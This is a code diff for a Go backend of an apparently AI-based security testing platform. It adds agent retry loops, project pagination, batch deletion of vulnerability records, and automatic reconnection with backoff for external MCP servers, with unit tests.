+}
+
 // DeleteExecution 删除执行记录
 func (h *MonitorHandler) DeleteExecution(c *gin.Context) {
 	id := c.Param("id")
@@ -466,3 +584,35 @@ func (h *MonitorHandler) DeleteExecutions(c *gin.Context) {
 	h.logger.Info("尝试批量删除内存中的执行记录", zap.Int("count", len(request.IDs)))
 	c.JSON(http.StatusOK, gin.H{"message": "执行记录已删除（如果存在）"})
 }
+
+// normalizeToolNameFilter 将模型侧 mcp__tool 转为内部存储用的 mcp::tool。
+func normalizeToolNameFilter(name string) string {
+	name = strings.TrimSpace(name)
+	if name == "" {
+		return name
+	}
+	if strings.Contains(name, "::") {
+		return name
+	}
+	if idx := strings.Index(name, "__"); idx > 0 {
+		return name[:idx] + "::" + name[idx+2:]
+	}
+	return name
+}
+
+func toolNameFilterMatches(storedName, filter string) bool {
+	filter = strings.TrimSpace(filter)
+	if filter == "" {
+		return true
+	}
+	storedLower := strings.ToLower(storedName)
+	filterLower := strings.ToLower(filter)
+	if strings.Contains(storedLower, filterLower) {
+		return true
+	}
+	normFilter := strings.ToLower(normalizeToolNameFilter(filter))
+	if normFilter != filterLower && strings.Contains(storedLower, normFilter) {
+		return true
+	}
+	return strings.Contains(strings.ReplaceAll(storedLower, "::", "__"), filterLower)
+}

internal/handler/multi_agent.go

@@ -188,6 +188,7 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 	// 同一 HTTP 流内多段 Run（如中断并继续）合并 MCP execution id，供最终 response / 库表与工具芯片展示完整列表
 	var cumulativeMCPExecutionIDs []string
 	var transientRunAttempts int
+	var emptyResponseAttempts int
 	// 同一请求内分段续跑时，主代理 iteration 事件按偏移累计，避免 UI 出现「第3轮 → 第1轮」回跳。
 	var mainIterationOffset int
 
@@ -235,6 +236,7 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 			h.agent,
 			h.logger,
 			conversationID,
+			h.conversationProjectID(conversationID),
 			curFinalMessage,
 			curHistory,
 			roleTools,
@@ -249,9 +251,32 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
 			cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
 		}
 
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
+			&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
+			func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
+		)
+		if exhaustedEmpty {
+			runErr = nil
+			transientRunAttempts = 0
+			timeoutCancel()
+			break
+		}
+		if handledEmpty {
+			mainIterationOffset += segmentMainIterationMax
+			transientRunAttempts = 0
+			timeoutCancel()
+			baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
+			h.tasks.BindTaskCancel(conversationID, cancelWithCause)
+			taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
+			h.tasks.UpdateTaskStatus(conversationID, "running")
+			continue
+		}
+
 		if runErr == nil {
 			// 任一段成功完成后，重置临时错误重试窗口（次数/退避从头开始）。
 			transientRunAttempts = 0
+			emptyResponseAttempts = 0
 			timeoutCancel()
 			break
 		}
@@ -430,23 +455,52 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
 		return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments)
 	})
 
-	result, runErr := multiagent.RunDeepAgent(
-		taskCtx,
-		h.config,
-		&h.config.MultiAgent,
-		h.agent,
-		h.logger,
-		prep.ConversationID,
-		prep.FinalMessage,
-		prep.History,
-		prep.RoleTools,
-		progressCallback,
-		h.agentsMarkdownDir,
-		strings.TrimSpace(req.Orchestration),
-		chatReasoningToClientIntent(req.Reasoning),
-		h.projectBlackboardBlock(prep.ConversationID),
-	)
-	if runErr != nil {
+	curHist := prep.History
+	curMsg := prep.FinalMessage
+	var result *multiagent.RunResult
+	var runErr error
+	var transientRunAttempts int
+	var emptyResponseAttempts int
+	for {
+		result, runErr = multiagent.RunDeepAgent(
+			taskCtx,
+			h.config,
+			&h.config.MultiAgent,
+			h.agent,
+			h.logger,
+			prep.ConversationID,
+			h.conversationProjectID(prep.ConversationID),
+			curMsg,
+			curHist,
+			prep.RoleTools,
+			progressCallback,
+			h.agentsMarkdownDir,
+			strings.TrimSpace(req.Orchestration),
+			chatReasoningToClientIntent(req.Reasoning),
+			h.projectBlackboardBlock(prep.ConversationID),
+		)
+		handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
+			baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
+			&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
+		)
+		if exhaustedEmpty {
+			runErr = nil
+			break
+		}
+		if handledEmpty {
+			continue
+		}
+		if runErr == nil {
+			break
+		}
+		if handled, fatalErr := h.handleEinoTransientRetryContinue(
+			baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
+			&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
+		); handled {
+			continue
+		} else if fatalErr != nil {
+			runErr = fatalErr
+		}
 		if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
 			h.persistEinoAgentTraceForResume(prep.ConversationID, result)
 		}

internal/handler/openapi.go

@@ -2,10 +2,8 @@ package handler
 
 import (
 	"net/http"
-	"time"
 
 	"cyberstrike-ai/internal/database"
-	"cyberstrike-ai/internal/storage"
 
 	"github.com/gin-gonic/gin"
 	"go.uber.org/zap"
@@ -15,17 +13,15 @@ import (
 type OpenAPIHandler struct {
 	db               *database.DB
 	logger           *zap.Logger
-	resultStorage    storage.ResultStorage
 	conversationHdlr *ConversationHandler
 	agentHdlr        *AgentHandler
 }
 
 // NewOpenAPIHandler 创建新的OpenAPI处理器
-func NewOpenAPIHandler(db *database.DB, logger *zap.Logger, resultStorage storage.ResultStorage, conversationHdlr *ConversationHandler, agentHdlr *AgentHandler) *OpenAPIHandler {
+func NewOpenAPIHandler(db *database.DB, logger *zap.Logger, conversationHdlr *ConversationHandler, agentHdlr *AgentHandler) *OpenAPIHandler {
 	return &OpenAPIHandler{
 		db:               db,
 		logger:           logger,
-		resultStorage:    resultStorage,
 		conversationHdlr: conversationHdlr,
 		agentHdlr:        agentHdlr,
 	}
@@ -237,7 +233,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 						"status": map[string]interface{}{
 							"type":        "string",
 							"description": "状态",
-							"enum":        []string{"open", "closed", "fixed"},
+							"enum":        []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
 						},
 						"target": map[string]interface{}{
 							"type":        "string",
@@ -575,7 +571,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 						"status": map[string]interface{}{
 							"type":        "string",
 							"description": "状态",
-							"enum":        []string{"open", "closed", "fixed"},
+							"enum":        []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
 						},
 						"type": map[string]interface{}{
 							"type":        "string",
@@ -809,8 +805,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 						"jpeg_quality":                 map[string]interface{}{"type": "integer", "description": "JPEG 质量 60-100"},
 						"max_payload_bytes":            map[string]interface{}{"type": "integer", "description": "送 API 体积上限（字节）"},
 						"skip_preprocess_below_bytes":  map[string]interface{}{"type": "integer", "description": "低于该字节且尺寸合规时可原图直传；0=始终压缩"},
-						"detail":                       map[string]interface{}{"type": "string", "enum": []string{"low", "high", "auto"}, "description": "OpenAI 兼容 image detail"},
-						"allowed_roots":                map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}, "description": "额外允许读取的绝对路径根"},
+						"detail": map[string]interface{}{"type": "string", "enum": []string{"low", "high", "auto"}, "description": "OpenAI 兼容 image detail"},
 					},
 				},
 				"AnalyzeImageToolCall": map[string]interface{}{
@@ -819,7 +814,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 					"properties": map[string]interface{}{
 						"path": map[string]interface{}{
 							"type":        "string",
-							"description": "图片路径（cwd、chat_uploads、result_storage_dir 或 allowed_roots 下）",
+							"description": "图片绝对路径或相对于进程工作目录的路径",
 						},
 						"question": map[string]interface{}{
 							"type":        "string",
@@ -1345,7 +1340,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 				"delete": map[string]interface{}{
 					"tags":        []string{"对话管理"},
 					"summary":     "删除对话",
-					"description": "删除指定的对话及其所有相关数据（消息、漏洞等）。**此操作不可恢复**。",
+					"description": "删除指定的对话及其会话数据（消息、攻击链等）。**漏洞记录会保留**，仅解除与会话的关联。**此操作不可恢复**。",
 					"operationId": "deleteConversation",
 					"parameters": []map[string]interface{}{
 						{
@@ -6355,35 +6350,8 @@ func (h *OpenAPIHandler) GetConversationResults(c *gin.Context) {
 		vulnerabilities[i] = *v
 	}
 
-	// 获取执行结果（从MCP执行记录中获取）
+	// 获取执行结果（历史大结果由 Eino reduction 落盘，此处不再聚合文件存储）
 	executionResults := []map[string]interface{}{}
-	for _, msg := range messages {
-		if len(msg.MCPExecutionIDs) > 0 {
-			for _, execID := range msg.MCPExecutionIDs {
-				// 尝试从结果存储中获取执行结果
-				if h.resultStorage != nil {
-					result, err := h.resultStorage.GetResult(execID)
-					if err == nil && result != "" {
-						// 获取元数据以获取工具名称和创建时间
-						metadata, err := h.resultStorage.GetResultMetadata(execID)
-						toolName := "unknown"
-						createdAt := time.Now()
-						if err == nil && metadata != nil {
-							toolName = metadata.ToolName
-							createdAt = metadata.CreatedAt
-						}
-						executionResults = append(executionResults, map[string]interface{}{
-							"id":        execID,
-							"toolName":  toolName,
-							"status":    "success",
-							"result":    result,
-							"createdAt": createdAt.Format(time.RFC3339),
-						})
-					}
-				}
-			}
-		}
-	}
 
 	response := map[string]interface{}{
 		"conversationId":   conv.ID,

internal/handler/project.go

@@ -12,6 +12,16 @@ import (
 	"go.uber.org/zap"
 )
 
+const maxProjectDescriptionRunes = 4000
+
+func clampProjectDescription(s string) string {
+	r := []rune(s)
+	if len(r) <= maxProjectDescriptionRunes {
+		return s
+	}
+	return string(r[:maxProjectDescriptionRunes])
+}
+
 // ProjectHandler 项目管理处理器。
 type ProjectHandler struct {
 	db     *database.DB
@@ -48,7 +58,7 @@ func (h *ProjectHandler) CreateProject(c *gin.Context) {
 	}
 	p := &database.Project{
 		Name:        strings.TrimSpace(req.Name),
-		Description: req.Description,
+		Description: clampProjectDescription(req.Description),
 		ScopeJSON:   req.ScopeJSON,
 		Status:      strings.TrimSpace(req.Status),
 	}
@@ -61,12 +71,40 @@ func (h *ProjectHandler) CreateProject(c *gin.Context) {
 	c.JSON(http.StatusOK, created)
 }
 
+// GetDashboardSummary GET /api/projects/dashboard-summary
+func (h *ProjectHandler) GetDashboardSummary(c *gin.Context) {
+	limit, _ := strconv.Atoi(strings.TrimSpace(c.DefaultQuery("fact_limit", "5")))
+	if limit <= 0 {
+		limit = 5
+	}
+	if limit > 50 {
+		limit = 50
+	}
+	summary, err := h.db.GetProjectDashboardSummary(limit)
+	if err != nil {
+		h.logger.Error("获取项目仪表盘摘要失败", zap.Error(err))
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if summary.RecentFacts == nil {
+		summary.RecentFacts = []database.ProjectDashboardFact{}
+	}
+	c.JSON(http.StatusOK, summary)
+}
+
 // ListProjects GET /api/projects
 func (h *ProjectHandler) ListProjects(c *gin.Context) {
 	status := c.Query("status")
-	limit, _ := strconv.Atoi(c.DefaultQuery("limit", "200"))
+	search := c.Query("search")
+	limit, _ := strconv.Atoi(c.DefaultQuery("limit", "50"))
 	offset, _ := strconv.Atoi(c.Query("offset"))
-	list, err := h.db.ListProjects(status, limit, offset)
+	if limit <= 0 {
+		limit = 50
+	}
+	if limit > 500 {
+		limit = 500
+	}
+	list, err := h.db.ListProjects(status, search, limit, offset)
 	if err != nil {
 		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
 		return
@@ -74,7 +112,17 @@ func (h *ProjectHandler) ListProjects(c *gin.Context) {
 	if list == nil {
 		list = []*database.Project{}
 	}
-	c.JSON(http.StatusOK, list)
+	total, err := h.db.CountProjects(status, search)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	c.JSON(http.StatusOK, gin.H{
+		"projects": list,
+		"total":    total,
+		"limit":    limit,
+		"offset":   offset,
+	})
 }
 
 // GetProjectStats GET /api/projects/:id/stats
@@ -146,7 +194,7 @@ func (h *ProjectHandler) UpdateProject(c *gin.Context) {
 		}
 	}
 	if req.Description != nil {
-		p.Description = *req.Description
+		p.Description = clampProjectDescription(*req.Description)
 	}
 	if req.ScopeJSON != nil {
 		p.ScopeJSON = *req.ScopeJSON
@@ -240,44 +288,6 @@ func (h *ProjectHandler) ListFacts(c *gin.Context) {
 	c.JSON(http.StatusOK, list)
 }
 
-// GetFactPreviousVersion GET /api/projects/:id/facts/:factId/previous-version
-func (h *ProjectHandler) GetFactPreviousVersion(c *gin.Context) {
-	existing, err := h.db.GetProjectFact(c.Param("factId"))
-	if err != nil || existing.ProjectID != c.Param("id") {
-		c.JSON(http.StatusNotFound, gin.H{"error": "事实不存在"})
-		return
-	}
-	if strings.TrimSpace(existing.SupersedesFactID) == "" {
-		c.JSON(http.StatusNotFound, gin.H{"error": "无上一版本"})
-		return
-	}
-	v, err := h.db.GetProjectFactVersion(existing.SupersedesFactID)
-	if err != nil {
-		c.JSON(http.StatusNotFound, gin.H{"error": err.Error()})
-		return
-	}
-	c.JSON(http.StatusOK, v)
-}
-
-// ListFactVersions GET /api/projects/:id/facts/:factId/versions
-func (h *ProjectHandler) ListFactVersions(c *gin.Context) {
-	existing, err := h.db.GetProjectFact(c.Param("factId"))
-	if err != nil || existing.ProjectID != c.Param("id") {
-		c.JSON(http.StatusNotFound, gin.H{"error": "事实不存在"})
-		return
-	}
-	limit, _ := strconv.Atoi(c.DefaultQuery("limit", "20"))
-	list, err := h.db.ListProjectFactVersions(existing.ID, limit)
-	if err != nil {
-		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
-		return
-	}
-	if list == nil {
-		list = []*database.ProjectFactVersion{}
-	}
-	c.JSON(http.StatusOK, list)
-}
-
 // CreateFact POST /api/projects/:id/facts
 func (h *ProjectHandler) CreateFact(c *gin.Context) {
 	var req upsertFactRequest

internal/handler/project_context.go

@@ -30,3 +30,19 @@ func (h *AgentHandler) projectBlackboardBlock(conversationID string) string {
 	}
 	return strings.TrimSpace(block)
 }
+
+// conversationProjectID 返回对话绑定的项目 ID；未绑定或查询失败时返回空字符串。
+func (h *AgentHandler) conversationProjectID(conversationID string) string {
+	if h == nil || h.db == nil {
+		return ""
+	}
+	conversationID = strings.TrimSpace(conversationID)
+	if conversationID == "" {
+		return ""
+	}
+	projectID, err := h.db.GetConversationProjectID(conversationID)
+	if err != nil {
+		return ""
+	}
+	return strings.TrimSpace(projectID)
+}

internal/handler/robot.go

@@ -314,7 +314,7 @@ func (h *RobotHandler) resolveProjectByIDOrName(idOrName string) (*database.Proj
 	if p, err := h.db.GetProject(idOrName); err == nil {
 		return p, ""
 	}
-	list, err := h.db.ListProjects("", 200, 0)
+	list, err := h.db.ListProjects("", "", 200, 0)
 	if err != nil {
 		return nil, "查询项目失败: " + err.Error()
 	}
@@ -353,7 +353,7 @@ func (h *RobotHandler) cmdProjects() string {
 	if !h.projectsEnabled() {
 		return "项目功能未启用（config.project.enabled）。"
 	}
-	list, err := h.db.ListProjects("", 50, 0)
+	list, err := h.db.ListProjects("", "", 50, 0)
 	if err != nil {
 		return "获取项目列表失败: " + err.Error()
 	}

internal/handler/vulnerability.go

@@ -311,6 +311,38 @@ func (h *VulnerabilityHandler) DeleteVulnerability(c *gin.Context) {
 	c.JSON(http.StatusOK, gin.H{"message": "删除成功"})
 }
 
+// BatchDeleteVulnerabilities 按当前筛选条件批量删除漏洞
+func (h *VulnerabilityHandler) BatchDeleteVulnerabilities(c *gin.Context) {
+	filter := parseVulnerabilityListFilter(c)
+
+	total, err := h.db.CountVulnerabilities(filter)
+	if err != nil {
+		h.logger.Error("统计待删除漏洞失败", zap.Error(err))
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if total == 0 {
+		c.JSON(http.StatusOK, gin.H{"message": "当前筛选条件下没有可删除的漏洞", "deleted": 0})
+		return
+	}
+
+	deleted, err := h.db.DeleteVulnerabilitiesByFilter(filter)
+	if err != nil {
+		h.logger.Error("批量删除漏洞失败", zap.Error(err), zap.Int("count", total))
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	if h.audit != nil {
+		h.audit.RecordOK(c, "vulnerability", "delete_batch", "批量删除漏洞记录", "vulnerability", "", map[string]interface{}{
+			"deleted": deleted,
+			"filter":  filter,
+		})
+	}
+
+	c.JSON(http.StatusOK, gin.H{"message": "批量删除成功", "deleted": deleted})
+}
+
 // GetVulnerabilityStats 获取漏洞统计
 func (h *VulnerabilityHandler) GetVulnerabilityStats(c *gin.Context) {
 	filter := parseVulnerabilityListFilter(c)

internal/mcp/client_sdk.go

@@ -190,6 +190,23 @@ func (c *lazySDKClient) Close() error {
 	return nil
 }
 
+// markDisconnected 在检测到传输层断连时关闭底层 session，避免 IsConnected 仍返回 true。
+func (c *lazySDKClient) markDisconnected() {
+	c.mu.Lock()
+	inner := c.inner
+	sessionCancel := c.sessionCancel
+	c.inner = nil
+	c.sessionCancel = nil
+	c.mu.Unlock()
+	if sessionCancel != nil {
+		sessionCancel()
+	}
+	if inner != nil {
+		_ = inner.Close()
+	}
+	c.setStatus("disconnected")
+}
+
 func (c *sdkClient) setStatus(s string) {
 	c.mu.Lock()
 	defer c.mu.Unlock()

internal/mcp/connection_recovery.go

@@ -0,0 +1,192 @@
+package mcp
+
+import (
+	"context"
+	"errors"
+	"io"
+	"strings"
+	"time"
+
+	"go.uber.org/zap"
+)
+
+const (
+	// externalReconnectMinInterval 两次自动重连之间的最短间隔
+	externalReconnectMinInterval = 30 * time.Second
+	// externalReconnectMaxBackoff 指数退避上限
+	externalReconnectMaxBackoff = 5 * time.Minute
+)
+
+// isConnectionDeadError 判断错误是否表示底层传输已断开（而非调用方主动取消或超时）。
+func isConnectionDeadError(err error) bool {
+	if err == nil {
+		return false
+	}
+	if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
+		return false
+	}
+	if errors.Is(err, io.EOF) {
+		return true
+	}
+	s := strings.ToLower(err.Error())
+	return strings.Contains(s, "eof") ||
+		strings.Contains(s, "client is closing") ||
+		strings.Contains(s, "connection closed") ||
+		strings.Contains(s, "connection reset") ||
+		strings.Contains(s, "broken pipe")
+}
+
+// handleConnectionDead 在 ListTools/CallTool 等操作失败且判定为断连时，标记客户端并调度重连。
+func (m *ExternalMCPManager) handleConnectionDead(name string, client ExternalMCPClient, err error) {
+	if !isConnectionDeadError(err) {
+		return
+	}
+	m.logger.Warn("检测到外部MCP连接已断开，将尝试自动重连",
+		zap.String("name", name),
+		zap.Error(err),
+	)
+	m.markClientDisconnected(name, client, err)
+	m.scheduleReconnect(name)
+}
+
+func (m *ExternalMCPManager) markClientDisconnected(name string, client ExternalMCPClient, err error) {
+	if lazy, ok := client.(*lazySDKClient); ok {
+		lazy.markDisconnected()
+	}
+	m.mu.Lock()
+	if err != nil {
+		m.errors[name] = "连接已断开: " + err.Error()
+	}
+	m.mu.Unlock()
+	m.toolCountsMu.Lock()
+	m.toolCounts[name] = 0
+	m.toolCountsMu.Unlock()
+}
+
+func (m *ExternalMCPManager) onClientConnected(name string) {
+	m.clearReconnectState(name)
+}
+
+func (m *ExternalMCPManager) clearReconnectState(name string) {
+	m.reconnectMu.Lock()
+	delete(m.reconnectAttempts, name)
+	delete(m.reconnectLastTry, name)
+	delete(m.reconnecting, name)
+	m.reconnectMu.Unlock()
+}
+
+func (m *ExternalMCPManager) reconnectBackoff(attempts int) time.Duration {
+	if attempts <= 0 {
+		return 0
+	}
+	d := externalReconnectMinInterval
+	for i := 1; i < attempts && d < externalReconnectMaxBackoff; i++ {
+		d *= 2
+	}
+	if d > externalReconnectMaxBackoff {
+		return externalReconnectMaxBackoff
+	}
+	return d
+}
+
+func (m *ExternalMCPManager) scheduleReconnect(name string) {
+	m.mu.RLock()
+	cfg, exists := m.configs[name]
+	enabled := exists && m.isEnabled(cfg)
+	m.mu.RUnlock()
+	if !enabled {
+		return
+	}
+	go m.tryReconnect(name)
+}
+
+func (m *ExternalMCPManager) tryReconnect(name string) {
+	m.reconnectMu.Lock()
+	if m.reconnecting[name] {
+		m.reconnectMu.Unlock()
+		return
+	}
+	attempts := m.reconnectAttempts[name]
+	if wait := m.reconnectBackoff(attempts); wait > 0 {
+		if last, ok := m.reconnectLastTry[name]; ok {
+			if elapsed := time.Since(last); elapsed < wait {
+				remaining := wait - elapsed
+				m.reconnectMu.Unlock()
+				m.scheduleReconnectAfter(name, remaining)
+				return
+			}
+		}
+	}
+	m.reconnecting[name] = true
+	m.reconnectMu.Unlock()
+
+	defer func() {
+		m.reconnectMu.Lock()
+		delete(m.reconnecting, name)
+		m.reconnectMu.Unlock()
+	}()
+
+	m.mu.RLock()
+	cfg, exists := m.configs[name]
+	enabled := exists && m.isEnabled(cfg)
+	client, hasClient := m.clients[name]
+	connecting := hasClient && client.GetStatus() == "connecting"
+	m.mu.RUnlock()
+
+	if !enabled {
+		m.logger.Debug("跳过自动重连（外部MCP已停用）", zap.String("name", name))
+		return
+	}
+	if connecting {
+		m.logger.Debug("跳过自动重连（连接正在进行中）", zap.String("name", name))
+		return
+	}
+
+	m.reconnectMu.Lock()
+	m.reconnectLastTry[name] = time.Now()
+	m.reconnectAttempts[name] = attempts + 1
+	attemptNum := m.reconnectAttempts[name]
+	m.reconnectMu.Unlock()
+
+	m.logger.Info("正在自动重连外部MCP",
+		zap.String("name", name),
+		zap.Int("attempt", attemptNum),
+	)
+
+	if err := m.startClient(name, true); err != nil {
+		m.logger.Warn("自动重连外部MCP失败",
+			zap.String("name", name),
+			zap.Error(err),
+		)
+	}
+}
+
+// scheduleReconnectAfterFailure 在自动重连失败后，按当前退避间隔预约下一次重试。
+func (m *ExternalMCPManager) scheduleReconnectAfterFailure(name string) {
+	m.mu.RLock()
+	cfg, exists := m.configs[name]
+	enabled := exists && m.isEnabled(cfg)
+	m.mu.RUnlock()
+	if !enabled {
+		return
+	}
+	m.reconnectMu.Lock()
+	wait := m.reconnectBackoff(m.reconnectAttempts[name])
+	m.reconnectMu.Unlock()
+	m.logger.Info("自动重连失败，将按退避间隔再次尝试",
+		zap.String("name", name),
+		zap.Duration("after", wait),
+	)
+	m.scheduleReconnectAfter(name, wait)
+}
+
+// scheduleReconnectAfter 在 delay 后触发 tryReconnect（delay<=0 时立即执行）。
+func (m *ExternalMCPManager) scheduleReconnectAfter(name string, delay time.Duration) {
+	if delay <= 0 {
+		go m.tryReconnect(name)
+		return
+	}
+	time.AfterFunc(delay, func() {
+		m.tryReconnect(name)
+	})
+}

internal/mcp/connection_recovery_test.go

@@ -0,0 +1,215 @@
+package mcp
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"io"
+	"testing"
+	"time"
+
+	"cyberstrike-ai/internal/config"
+
+	"go.uber.org/zap"
+)
+
+func TestIsConnectionDeadError(t *testing.T) {
+	t.Parallel()
+	cases := []struct {
+		name string
+		err  error
+		want bool
+	}{
+		{"nil", nil, false},
+		{"eof", io.EOF, true},
+		{"wrapped eof", fmt.Errorf("connection closed: %w", io.EOF), true},
+		{"client closing", errors.New(`calling "tools/list": client is closing: EOF`), true},
+		{"connection reset", errors.New("read tcp: connection reset by peer"), true},
+		{"canceled", context.Canceled, false},
+		{"deadline", context.DeadlineExceeded, false},
+		{"other", errors.New("invalid params"), false},
+	}
+	for _, tc := range cases {
+		tc := tc
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+			if got := isConnectionDeadError(tc.err); got != tc.want {
+				t.Fatalf("isConnectionDeadError(%v) = %v, want %v", tc.err, got, tc.want)
+			}
+		})
+	}
+}
+
+func TestLazySDKClient_MarkDisconnected(t *testing.T) {
+	c := &lazySDKClient{status: "connected"}
+	c.inner = &sdkClient{status: "connected"}
+	c.markDisconnected()
+	if c.IsConnected() {
+		t.Fatal("expected disconnected after markDisconnected")
+	}
+	if c.GetStatus() != "disconnected" {
+		t.Fatalf("expected status disconnected, got %s", c.GetStatus())
+	}
+}
+
+func TestHandleConnectionDead_MarksLazyClientDisconnected(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+
+	name := "dead-mcp"
+	cfg := config.ExternalMCPServerConfig{
+		Type:              "http",
+		URL:               "http://example.com/mcp",
+		ExternalMCPEnable: true,
+	}
+	m.mu.Lock()
+	m.configs[name] = cfg
+	client := newLazySDKClient(cfg, logger)
+	client.inner = &sdkClient{status: "connected"}
+	client.status = "connected"
+	m.clients[name] = client
+	m.mu.Unlock()
+
+	deadErr := errors.New(`connection closed: calling "tools/list": client is closing: EOF`)
+	m.handleConnectionDead(name, client, deadErr)
+
+	if client.IsConnected() {
+		t.Fatal("expected disconnected after handleConnectionDead")
+	}
+	if m.GetError(name) == "" {
+		t.Fatal("expected error message to be recorded")
+	}
+	counts := m.GetToolCounts()
+	if counts[name] != 0 {
+		t.Fatalf("expected tool count 0 after disconnect, got %d", counts[name])
+	}
+}
+
+func TestReconnectBackoff(t *testing.T) {
+	t.Parallel()
+	if d := (&ExternalMCPManager{}).reconnectBackoff(0); d != 0 {
+		t.Fatalf("attempt 0: got %v", d)
+	}
+	if d := (&ExternalMCPManager{}).reconnectBackoff(1); d != externalReconnectMinInterval {
+		t.Fatalf("attempt 1: got %v", d)
+	}
+	if d := (&ExternalMCPManager{}).reconnectBackoff(10); d != externalReconnectMaxBackoff {
+		t.Fatalf("attempt 10: got %v, want cap %v", d, externalReconnectMaxBackoff)
+	}
+}
+
+func TestTryReconnect_RateLimited(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+
+	name := "rate-limited"
+	m.reconnectMu.Lock()
+	m.reconnectLastTry[name] = time.Now()
+	m.reconnectAttempts[name] = 2
+	m.reconnectMu.Unlock()
+
+	m.tryReconnect(name)
+
+	m.reconnectMu.Lock()
+	attempts := m.reconnectAttempts[name]
+	m.reconnectMu.Unlock()
+	if attempts != 2 {
+		t.Fatalf("rate limited reconnect should not increment attempts, got %d", attempts)
+	}
+}
+
+func TestTryReconnect_SkipsWhenDisabled(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+
+	name := "disabled-mcp"
+	m.mu.Lock()
+	m.configs[name] = config.ExternalMCPServerConfig{
+		Type:              "http",
+		URL:               "http://example.com/mcp",
+		ExternalMCPEnable: false,
+	}
+	m.mu.Unlock()
+
+	m.tryReconnect(name)
+
+	m.reconnectMu.Lock()
+	attempts := m.reconnectAttempts[name]
+	m.reconnectMu.Unlock()
+	if attempts != 0 {
+		t.Fatalf("disabled MCP should not increment reconnect attempts, got %d", attempts)
+	}
+}
+
+func TestTryReconnect_SkipsWhenConnecting(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+
+	name := "connecting-mcp"
+	cfg := config.ExternalMCPServerConfig{
+		Type:              "http",
+		URL:               "http://example.com/mcp",
+		ExternalMCPEnable: true,
+	}
+	client := newLazySDKClient(cfg, logger)
+	client.setStatus("connecting")
+
+	m.mu.Lock()
+	m.configs[name] = cfg
+	m.clients[name] = client
+	m.mu.Unlock()
+
+	m.tryReconnect(name)
+
+	m.reconnectMu.Lock()
+	attempts := m.reconnectAttempts[name]
+	m.reconnectMu.Unlock()
+	if attempts != 0 {
+		t.Fatalf("connecting MCP should not increment reconnect attempts, got %d", attempts)
+	}
+}
+
+func TestStartClientAutoReconnect_SkipsWhenDisabled(t *testing.T) {
+	logger := zap.NewNop()
+	m := NewExternalMCPManager(logger)
+	m.stopRefresh = make(chan struct{})
+
+	name := "stopped"
+	m.mu.Lock()
+	m.configs[name] = config.ExternalMCPServerConfig{
+		Type:              "http",
+		URL:               "http://example.com/mcp",
+		ExternalMCPEnable: false,
+	}
+	m.mu.Unlock()
+
+	if err := m.startClient(name, true); err != nil {
+		t.Fatalf("startClient: %v", err)
+	}
+
+	m.mu.RLock()
+	cfg := m.configs[name]
+	_, hasClient := m.clients[name]
+	m.mu.RUnlock()
+	if cfg.ExternalMCPEnable {
+		t.Fatal("auto reconnect should not enable stopped MCP")
+	}
+	if hasClient {
+		t.Fatal("auto reconnect should not create client when disabled")
+	}
+}
+
+func TestOnClientConnected_ClearsReconnectState(t *testing.T) {
+	m := &ExternalMCPManager{
+		reconnectAttempts: map[string]int{"x": 3},
+		reconnectLastTry:  map[string]time.Time{"x": time.Now()},
+		reconnecting:      map[string]bool{"x": true},
+	}
+	m.onClientConnected("x")
+
+	m.reconnectMu.Lock()
+	defer m.reconnectMu.Unlock()
+	if len(m.reconnectAttempts) != 0 || len(m.reconnectLastTry) != 0 || len(m.reconnecting) != 0 {
+		t.Fatal("expected reconnect state cleared")
+	}
+}

internal/mcp/external_manager.go

@@ -15,6 +15,26 @@ import (
 	"go.uber.org/zap"
 )
 
+const (
+	// externalToolListCacheTTL 已连接外部 MCP 的工具列表缓存有效期，避免每次 API 请求都打远程 ListTools。
+	externalToolListCacheTTL = 60 * time.Second
+	// externalToolCountRefreshInterval 后台刷新工具数量的间隔（仅刷新缓存过期或缺失的客户端）。
+	externalToolCountRefreshInterval = 60 * time.Second
+)
+
+// toolListCacheEntry 外部 MCP 工具列表缓存条目
